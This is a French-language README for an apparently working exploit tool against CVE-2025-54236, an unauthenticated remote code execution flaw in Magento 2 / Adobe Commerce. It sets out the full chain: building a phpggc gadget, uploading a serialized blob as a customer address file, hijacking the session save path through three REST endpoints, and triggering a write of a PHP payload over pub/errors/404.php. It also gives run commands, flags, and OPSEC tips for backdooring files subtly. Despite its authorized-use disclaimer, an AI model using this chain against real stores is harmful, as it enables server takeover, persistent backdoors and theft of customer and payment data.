
Preuve de concept Magento Session Reaper - CVE-2025-54236
PoC unifié pour CVE-2025-54236 (« SessionReaper »), une RCE non authentifiée critique dans Magento 2 / Adobe Commerce via une désérialisation imbriquée dans l'API REST.
ServiceInputProcessor ; la primitive d’exploitation est une désérialisation non sécurisée (CWE-502)Pour les tests de sécurité autorisés uniquement. Utilisez exclusivement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite.
L’outil enchaine trois étapes communes à chaque vecteur, plus un déclencheur :
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> construit un objet sérialisé qui écrit payload.php dans <remote_path> lors de sa désérialisation.POST /customer/address_file/upload stocke le blob sérialisé sous sess_<SESSID>. Magento disperse les fichiers d’adresse téléversés selon les premiers caractères du nom de fichier, donc il aboutit dans media/customer_address/s/e/sess_<SESSID> (d’où le s/e/ dans --save-path).Session\Config et, via setSavePath() → setOption() → ini_set('session.save_path', ...) (un effet de bord global au processus), redirige le gestionnaire de session PHP vers le blob téléversé.Cookie: PHPSESSID=<SESSID> force session_start() à lire et unserialize() le fichier empoisonné, déclenchant le gadget et écrivant la charge utile.Les trois vecteurs atteignent le même puits (context → urlBuilder → session → sessionConfig → savePath). Ils diffèrent uniquement par le point de terminaison, le verbe HTTP et le module Magento impliqué — utile lorsqu’un WAF ou un module désactivé bloque un point de terminaison mais pas un autre.
| Méthode | Point de terminaison | Verbe | Point d’entrée dans la chaîne |
|---|---|---|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
Aucun panier réel n’est nécessaire pour aucun vecteur. ServiceInputProcessor désérialise les paramètres de méthode lors de la résolution d’entrée — avant que le service n’invoque une quelconque recherche de panier — donc un cartId factice abc atteint le puits sur les trois. L’erreur « panier introuvable » (404/500) qui s’ensuit est attendue et confirme que l’effet de bord de désérialisation s’est déjà déclenché.
Un indicateur
--skuest disponible si vous souhaitez que l’outil crée un véritable panier invité et ajoute un produit avant le déclenchement (vérifié via GraphQL). Ceci est optionnel et non nécessaire pour l’exploitation — il existe uniquement pour les environnements où vous préférez un flux de paiement totalement réaliste. Ommettez-le et l’outil utilise le panier facticeabc.
var/session/). Les sessions basées sur Redis et bases de données ne sont pas affectées par cette chaîne RCE spécifique. Ce n’est pas énumérable à distance, donc doit être tenté à l’aveugle./customer/address_file/upload accessible sans authentification.requestsphpggc — détecté automatiquement dans le PATH, les emplacements d’installation courants, ou extrait comme image Docker ambionics/phpggc en solution de replipayload.php dans le même répertoire que le script (doit commencer par <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # ou : docker pull ambionics/phpggc
# order (vecteur original) — pas de panier, pas d’identifiants
python3 session_reaper.py --host https://target.com --method order
# checkmo — point de terminaison de paiement, portée de la boutique espagnole pour l’API REST
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — point de terminaison d’expédition
python3 session_reaper.py --host https://target.com --method address --api-store all
# optionnel : utiliser un vrai panier avec un SKU connu (non requis)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
| Indicateur | Valeur par défaut | Description |
|---|---|---|
--host | (requis) | URL de base de la cible |
--method | (requis) | address | checkmo | order |
--store | default | Code de boutique pour la requête de déclenchement (et panier, si --sku utilisé) |
--api-store | default | Code de boutique dans l’URL du point de terminaison de désérialisation (all | es | default | personnalisé) |
--sku | (aucun) | Optionnel. S’il est défini, crée un vrai panier invité avec ce SKU. Non requis. |
--payload-in | payload.php | Charge utile PHP à écrire sur la cible |
--payload-out | /var/www/html/pub/errors/404.php | Chemin d’écriture distant (doit être un emplacement exécutable par le web — voir note ci-dessous) |
--save-path | media/customer_address/s/e/ | savePath injecté dans la chaîne du gadget |
--phpggc | (auto) | Chemin explicite vers le binaire phpggc |
--proxy | http://127.0.0.1:8081 | Proxy HTTP (ex. Burp) |
--no-proxy | désactivé | Désactiver le proxy |
--username / --password | (aucun) | Identifiants client optionnels pour un jeton Bearer |
L’outil utilise deux codes de boutique indépendants :
--api-store — la portée dans l’URL de la requête de désérialisation (/rest/<api-store>/V1/guest-carts/...), où ServiceInputProcessor s’exécute.--store — la portée pour la requête de déclenchement (GET /<store>/) et, si --sku est utilisé, pour les requêtes de panier.Les codes de vue de boutique sont définis par l’administrateur ; ne présumez pas es/fr. Énumérez d’abord les vues de boutique actives — une requête contre une portée inexistante échoue simplement.
pub/errors/404.phpLa configuration Nginx par défaut de Magento ne transmet que sept fichiers PHP au fastcgi_backend :
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
Tout autre .php (y compris tout ce qui est déposé dans pub/media/) est refusé et ne s’exécutera jamais. La charge utile doit donc écraser l’un de ces sept fichiers autorisés plutôt que d’en déposer un nouveau. pub/errors/404.php est la valeur par défaut car Magento le rend en interne sur toute page manquante, donc il se déclenche souvent sur une boutique en ligne.
OPSEC : écraser
404.phpcomplètement est bruyant (il s’exécute sur chaque 404). Lors d’un engagement réel, back-door un fichier autorisé de manière subtile plutôt que de l’écraser.
--username/--password ne sont nécessaires que si vous souhaitez un jeton Bearer pour une configuration spécifique./tmp/sess_<SESSID> est supprimé à la sortie.Fourni pour la recherche et les tests de sécurité autorisés uniquement. L’auteur décline toute responsabilité en cas d’utilisation abusive. Ne pas exécuter contre des systèmes sans autorisation explicite.